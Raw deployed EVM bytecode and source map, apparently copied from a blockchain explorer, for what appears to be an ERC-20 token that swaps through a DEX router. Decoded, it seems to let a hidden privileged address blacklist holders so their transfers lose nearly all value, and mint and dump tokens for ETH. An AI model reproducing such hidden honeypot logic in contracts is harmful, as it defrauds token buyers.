565b610cce565b6001905092915050565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166106666108e1565b73ffffffffffffffffffffffffffffffffffffffff16146106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b3906119f4565b60405180910390fd5b600281106106c957600080fd5b80600c8190555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073b6108e1565b73ffffffffffffffffffffffffffffffffffffffff1614610791576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610788906119f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661086e6108e1565b73ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb906119f4565b60405180910390fd5b6000600960006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461091990611914565b80601f016020809104026020016040519081016040528092919081815260200182805461094590611914565b80156109925780601f1061096757610100808354040283529160200191610992565b820191906000526020600020905b81548152906001019060200180831161097557829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff166109bb6108e1565b73ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a08906119f4565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ab957600080fd5b610b4b338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b469190611a14565b610cce565b6001905092915050565b6000610b62338484610e2b565b6001905092915050565b60005b82829050811015610c1257610b82611168565b15610bff57600143610b949190611974565b600d6000858585818110610bab57610baa611a48565b5b9050602002016020810190610bc091906117c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610c0a90611a77565b915050610b6f565b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4057600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e1e9190611701565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610eec57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f0057610efb81836111c0565b611163565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610f4c57600080fd5b600080600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610fdc575043600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b1561100d5761100a6103e8610ffc6103e58561145490919063ffffffff16565b6114ce90919063ffffffff16565b90505b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110589190611a14565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826110a79190611a14565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f59190611974565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111599190611701565b60405180910390a3505b505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6111ed30600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cce565b81600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561124e5761124d611abf565b5b60405190808252806020026020018201604052801561127c5781602001602082028036833780820191505090505b509050308160008151811061129457611293611a48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f9190611b03565b8160018151811061137357611372611a48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601f426113fd9190611974565b6040518663ffffffff1660e01b815260040161141d959493929190611c33565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50505050505050565b600080830361146657600090506114c8565b600082846114749190611c8d565b90508284826114839190611cfe565b146114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90611da1565b60405180910390fd5b809150505b92915050565b6000808211611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611e0d565b60405180910390fd5b600082846115209190611cfe565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561156657808201518184015260208101905061154b565b60008484015250505050565b6000601f19601f8301169050919050565b600061158e8261152c565b6115988185611537565b93506115a8818560208601611548565b6115b181611572565b840191505092915050565b600060208201905081810360008301526115d68184611583565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611613826115e8565b9050919050565b61162381611608565b811461162e57600080fd5b50565b6000813590506116408161161a565b92915050565b6000819050919050565b61165981611646565b811461166457600080fd5b50565b60008135905061167681611650565b92915050565b60008060408385031215611693576116926115de565b5b60006116a185828601611631565b92505060206116b285828601611667565b9150509250929050565b60008115159050919050565b6116d1816116bc565b82525050565b60006020820190506116ec60008301846116c8565b92915050565b6116fb81611646565b82525050565b600060208201905061171660008301846116f2565b92915050565b600080600060608486031215611735576117346115de565b5b600061174386828701611631565b935050602061175486828701611631565b925050604061176586828701611667565b9150509250925092565b61177881611608565b82525050565b6000602082019050611793600083018461176f565b92915050565b6000602082840312156117af576117ae6115de565b5b60006117bd84828501611667565b91505092915050565b6000602082840312156117dc576117db6115de565b5b60006117ea84828501611631565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611818576118176117f3565b5b8235905067ffffffffffffffff811115611835576118346117f8565b5b602083019150836020820283011115611851576118506117fd565b5b9250929050565b6000806020838503121561186f5761186e6115de565b5b600083013567ffffffffffffffff81111561188d5761188c6115e3565b5b61189985828601611802565b92509250509250929050565b600080604083850312156118bc576118bb6115de565b5b60006118ca85828601611631565b92505060206118db85828601611631565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061192c57607f821691505b60208210810361193f5761193e6118e5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061197f82611646565b915061198a83611646565b92508282019050808211156119a2576119a1611945565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119de602083611537565b91506119e9826119a8565b602082019050919050565b60006020820190508181036000830152611a0d816119d1565b9050919050565b6000611a1f82611646565b9150611a2a83611646565b9250828203905081811115611a4257611a41611945565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a8282611646565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ab457611ab3611945565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050611afd8161161a565b92915050565b600060208284031215611b1957611b186115de565b5b6000611b2784828501611aee565b91505092915050565b6000819050919050565b6000819050919050565b6000611b5f611b5a611b5584611b30565b611b3a565b611646565b9050919050565b611b6f81611b44565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611baa81611608565b82525050565b6000611bbc8383611ba1565b60208301905092915050565b6000602082019050919050565b6000611be082611b75565b611bea8185611b80565b9350611bf583611b91565b8060005b83811015611c26578151611c0d8882611bb0565b9750611c1883611bc8565b925050600181019050611bf9565b5085935050505092915050565b600060a082019050611c4860008301886116f2565b611c556020830187611b66565b8181036040830152611c678186611bd5565b9050611c76606083018561176f565b611c8360808301846116f2565b9695505050505050565b6000611c9882611646565b9150611ca383611646565b9250828202611cb181611646565b91508282048414831517611cc857611cc7611945565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611d0982611646565b9150611d1483611646565b925082611d2457611d23611ccf565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d8b602283611537565b9150611d9682611d2f565b604082019050919050565b60006020820190508181036000830152611dba81611d7e565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611df7601b83611537565b9150611e0282611dc1565b602082019050919050565b60006020820190508181036000830152611e2681611dea565b905091905056fea264697066735822122067899d80f06bf299f69ffe737e52eb8c6598070fbc07bfe34211b0a59aee5c3e64736f6c63430008130033
Deployed Bytecode Sourcemap
1932:4872:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3009:80;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5215:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5379:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5480:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5029:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2005:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5713:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2040:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2217:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4816:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4480:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1510:148;;;:::i;:::-;;3090:93;;;:::i;:::-;;1433:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5122:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2618:93;;;:::i;:::-;;4234:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3316:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3476:252;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4577:111;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2911:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6667:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3009:80;3048:13;3081:5;3074:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3009:80;:::o;5215:158::-;5289:4;5306:37;5315:10;5327:7;5336:6;5306:8;:37::i;:::-;5361:4;5354:11;;5215:158;;;;:::o;5379:95::-;5425:7;5453:12;;5446:19;;5379:95;:::o;5480:227::-;5567:4;5584:34;5594:4;5600:9;5611:6;5584:9;:34::i;:::-;5670:6;5637:11;:17;5649:4;5637:17;;;;;;;;;;;;;;;:29;5655:10;5637:29;;;;;;;;;;;;;;;;:39;;5629:48;;;;;;5695:4;5688:11;;5480:227;;;;;:::o;5029:87::-;5072:7;5099:9;;5092:16;;5029:87;:::o;2005:28::-;;;;:::o;5713:203::-;5793:4;5810:76;5819:10;5831:7;5875:10;5840:11;:23;5852:10;5840:23;;;;;;;;;;;;;;;:32;5864:7;5840:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;5810:8;:76::i;:::-;5904:4;5897:11;;5713:203;;;;:::o;2040:60::-;;;;:::o;2217:34::-;;;;;;;;;;;;;:::o;4816:113::-;1743:10;1732:21;;:7;:5;:7::i;:::-;:21;;;1724:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4895:1:::1;4886:6;:10;4878:19;;;::::0;::::1;;4915:6;4908:4;:13;;;;4816:113:::0;:::o;4480:96::-;4537:7;4555:9;:18;4565:7;4555:18;;;;;;;;;;;;;;;;4548:25;;4480:96;;;:::o;1510:148::-;1743:10;1732:21;;:7;:5;:7::i;:::-;:21;;;1724:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1617:1:::1;1580:40;;1601:6;::::0;::::1;;;;;;;;1580:40;;;;;;;;;;;;1648:1;1631:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1510:148::o:0;3090:93::-;1743:10;1732:21;;:7;:5;:7::i;:::-;:21;;;1724:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3170:5:::1;3148:19;;:27;;;;;;;;;;;;;;;;;;3090:93::o:0;1433:71::-;1479:7;1496:6;;;;;;;;;;;1489:13;;1433:71;:::o;5122:87::-;5161:13;5194:7;5187:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5122:87;:::o;2618:93::-;1743:10;1732:21;;:7;:5;:7::i;:::-;:21;;;1724:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2699:4:::1;2677:19;;:26;;;;;;;;;;;;;;;;;;2618:93::o:0;4234:245::-;4307:4;4365:6;4332:11;:23;4344:10;4332:23;;;;;;;;;;;;;;;:29;4356:4;4332:29;;;;;;;;;;;;;;;;:39;;4324:48;;;;;;4383:66;4392:10;4404:4;4442:6;4410:11;:23;4422:10;4410:23;;;;;;;;;;;;;;;:29;4434:4;4410:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4383:8;:66::i;:::-;4467:4;4460:11;;4234:245;;;;:::o;3316:154::-;3384:4;3401:39;3411:10;3423:9;3434:5;3401:9;:39::i;:::-;3458:4;3451:11;;3316:154;;;;:::o;3476:252::-;3548:6;3543:178;3565:14;;:21;;3561:1;:25;3543:178;;;3615:18;:16;:18::i;:::-;3610:110;;;3707:1;3692:12;:16;;;;:::i;:::-;3658:12;:31;3671:14;;3686:1;3671:17;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3658:31;;;;;;;;;;;;;;;:50;;;;3610:110;3589:3;;;;;:::i;:::-;;;;3543:178;;;;3476:252;;:::o;4577:111::-;4633:7;4668:11;;;;;;;;;;;4653:27;;4577:111;:::o;2911:45::-;;;;:::o;6667:134::-;6739:7;6766:11;:18;6778:5;6766:18;;;;;;;;;;;;;;;:27;6785:7;6766:27;;;;;;;;;;;;;;;;6759:34;;6667:134;;;;:::o;2258:258::-;2371:1;2352:21;;:7;:21;;;2344:30;;;;;;2410:1;2393:19;;:5;:19;;;2385:28;;;;;;2454:6;2424:11;:18;2436:5;2424:18;;;;;;;;;;;;;;;:27;2443:7;2424:27;;;;;;;;;;;;;;;:36;;;;2492:7;2476:32;;2485:5;2476:32;;;2501:6;2476:32;;;;;;:::i;:::-;;;;;;;;2258:258;;;:::o;6119:542::-;6230:1;6211:21;;:7;:21;;;6203:30;;;;;;6262:19;;;;;;;;;;;6248:33;;:10;:33;;;:51;;;;;6296:3;6285:14;;:7;:14;;;6248:51;6244:410;;;6302:16;6307:5;6314:3;6302:4;:16::i;:::-;6244:410;;;6344:9;:18;6354:7;6344:18;;;;;;;;;;;;;;;;6335:5;:27;;6327:36;;;;;;6365:11;6424:1;6399:12;:21;6412:7;6399:21;;;;;;;;;;;;;;;;:26;;:67;;;;;6454:12;6429;:21;6442:7;6429:21;;;;;;;;;;;;;;;;:37;;6399:67;6395:106;;;6475:24;6494:4;6475:14;6485:3;6475:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;6469:30;;6395:106;6557:5;6536:9;:18;6546:7;6536:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;6515:9;:18;6525:7;6515:18;;;;;;;;;;;;;;;:47;;;;6590:3;6582:5;:11;;;;:::i;:::-;6564:9;:14;6574:3;6564:14;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;6631:3;6613:29;;6622:7;6613:29;;;6636:5;6613:29;;;;;;:::i;:::-;;;;;;;;6326:328;6244:410;6119:542;;;:::o;4694:116::-;4745:4;4783:19;;;;;;;;;;;4769:33;;:10;:33;;;4762:40;;4694:116;:::o;3734:456::-;3807:78;3824:4;3849:11;;;;;;;;;;;3873;3807:8;:78::i;:::-;3924:11;3897:9;:24;3915:4;3897:24;;;;;;;;;;;;;;;:38;;;;3936:21;3974:1;3960:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3936:40;;4006:4;3988;3993:1;3988:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4034:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4024:4;4029:1;4024:7;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;4065:11;;;;;;;;;;;:62;;;4128:11;4141:1;4144:4;4150:9;4179:2;4161:15;:20;;;;:::i;:::-;4065:117;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3796:394;3734:456;;:::o;278:223::-;336:7;365:1;360;:6;356:23;;376:1;369:8;;;;356:23;389:9;405:1;401;:5;;;;:::i;:::-;389:17;;434:1;429;425;:5;;;;:::i;:::-;:10;417:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;492:1;485:8;;;278:223;;;;;:::o;509:178::-;567:7;599:1;595;:5;587:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;643:9;659:1;655;:5;;;;:::i;:::-;643:17;;678:1;671:8;;;509:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:::-;5169:6;5218:2;5206:9;5197:7;5193:23;5189:32;5186:119;;;5224:79;;:::i;:::-;5186:119;5344:1;5369:53;5414:7;5405:6;5394:9;5390:22;5369:53;:::i;:::-;5359:63;;5315:117;5110:329;;;;:::o;5445:117::-;5554:1;5551;5544:12;5568:117;5677:1;5674;5667:12;5691:117;5800:1;5797;5790:12;5831:568;5904:8;5914:6;5964:3;5957:4;5949:6;5945:17;5941:27;5931:122;;5972:79;;:::i;:::-;5931:122;6085:6;6072:20;6062:30;;6115:18;6107:6;6104:30;6101:117;;;6137:79;;:::i;:::-;6101:117;6251:4;6243:6;6239:17;6227:29;;6305:3;6297:4;6289:6;6285:17;6275:8;6271:32;6268:41;6265:128;;;6312:79;;:::i;:::-;6265:128;5831:568;;;;;:::o;6405:559::-;6491:6;6499;6548:2;6536:9;6527:7;6523:23;6519:32;6516:119;;;6554:79;;:::i;:::-;6516:119;6702:1;6691:9;6687:17;6674:31;6732:18;6724:6;6721:30;6718:117;;;6754:79;;:::i;:::-;6718:117;6867:80;6939:7;6930:6;6919:9;6915:22;6867:80;:::i;:::-;6849:98;;;;6645:312;6405:559;;;;;:::o;6970:474::-;7038:6;7046;7095:2;7083:9;7074:7;7070:23;7066:32;7063:119;;;7101:79;;:::i;:::-;7063:119;7221:1;7246:53;7291:7;7282:6;7271:9;7267:22;7246:53;:::i;:::-;7236:63;;7192:117;7348:2;7374:53;7419:7;7410:6;7399:9;7395:22;7374:53;:::i;:::-;7364:63;;7319:118;6970:474;;;;;:::o;7450:180::-;7498:77;7495:1;7488:88;7595:4;7592:1;7585:15;7619:4;7616:1;7609:15;7636:320;7680:6;7717:1;7711:4;7707:12;7697:22;;7764:1;7758:4;7754:12;7785:18;7775:81;;7841:4;7833:6;7829:17;7819:27;;7775:81;7903:2;7895:6;7892:14;7872:18;7869:38;7866:84;;7922:18;;:::i;:::-;7866:84;7687:269;7636:320;;;:::o;7962:180::-;8010:77;8007:1;8000:88;8107:4;8104:1;8097:15;8131:4;8128:1;8121:15;8148:191;8188:3;8207:20;8225:1;8207:20;:::i;:::-;8202:25;;8241:20;8259:1;8241:20;:::i;:::-;8236:25;;8284:1;8281;8277:9;8270:16;;8305:3;8302:1;8299:10;8296:36;;;8312:18;;:::i;:::-;8296:36;8148:191;;;;:::o;8345:182::-;8485:34;8481:1;8473:6;8469:14;8462:58;8345:182;:::o;8533:366::-;8675:3;8696:67;8760:2;8755:3;8696:67;:::i;:::-;8689:74;;8772:93;8861:3;8772:93;:::i;:::-;8890:2;8885:3;8881:12;8874:19;;8533:366;;;:::o;8905:419::-;9071:4;9109:2;9098:9;9094:18;9086:26;;9158:9;9152:4;9148:20;9144:1;9133:9;9129:17;9122:47;9186:131;9312:4;9186:131;:::i;:::-;9178:139;;8905:419;;;:::o;9330:194::-;9370:4;9390:20;9408:1;9390:20;:::i;:::-;9385:25;;9424:20;9442:1;9424:20;:::i;:::-;9419:25;;9468:1;9465;9461:9;9453:17;;9492:1;9486:4;9483:11;9480:37;;;9497:18;;:::i;:::-;9480:37;9330:194;;;;:::o;9530:180::-;9578:77;9575:1;9568:88;9675:4;9672:1;9665:15;9699:4;9696:1;9689:15;9716:233;9755:3;9778:24;9796:5;9778:24;:::i;:::-;9769:33;;9824:66;9817:5;9814:77;9811:103;;9894:18;;:::i;:::-;9811:103;9941:1;9934:5;9930:13;9923:20;;9716:233;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:143;10198:5;10229:6;10223:13;10214:22;;10245:33;10272:5;10245:33;:::i;:::-;10141:143;;;;:::o;10290:351::-;10360:6;10409:2;10397:9;10388:7;10384:23;10380:32;10377:119;;;10415:79;;:::i;:::-;10377:119;10535:1;10560:64;10616:7;10607:6;10596:9;10592:22;10560:64;:::i;:::-;10550:74;;10506:128;10290:351;;;;:::o;10647:85::-;10692:7;10721:5;10710:16;;10647:85;;;:::o;10738:60::-;10766:3;10787:5;10780:12;;10738:60;;;:::o;10804:158::-;10862:9;10895:61;10913:42;10922:32;10948:5;10922:32;:::i;:::-;10913:42;:::i;:::-;10895:61;:::i;:::-;10882:74;;10804:158;;;:::o;10968:147::-;11063:45;11102:5;11063:45;:::i;:::-;11058:3;11051:58;10968:147;;:::o;11121:114::-;11188:6;11222:5;11216:12;11206:22;;11121:114;;;:::o;11241:184::-;11340:11;11374:6;11369:3;11362:19;11414:4;11409:3;11405:14;11390:29;;11241:184;;;;:::o;11431:132::-;11498:4;11521:3;11513:11;;11551:4;11546:3;11542:14;11534:22;;11431:132;;;:::o;11569:108::-;11646:24;11664:5;11646:24;:::i;:::-;11641:3;11634:37;11569:108;;:::o;11683:179::-;11752:10;11773:46;11815:3;11807:6;11773:46;:::i;:::-;11851:4;11846:3;11842:14;11828:28;;11683:179;;;;:::o;11868:113::-;11938:4;11970;11965:3;11961:14;11953:22;;11868:113;;;:::o;12017:732::-;12136:3;12165:54;12213:5;12165:54;:::i;:::-;12235:86;12314:6;12309:3;12235:86;:::i;:::-;12228:93;;12345:56;12395:5;12345:56;:::i;:::-;12424:7;12455:1;12440:284;12465:6;12462:1;12459:13;12440:284;;;12541:6;12535:13;12568:63;12627:3;12612:13;12568:63;:::i;:::-;12561:70;;12654:60;12707:6;12654:60;:::i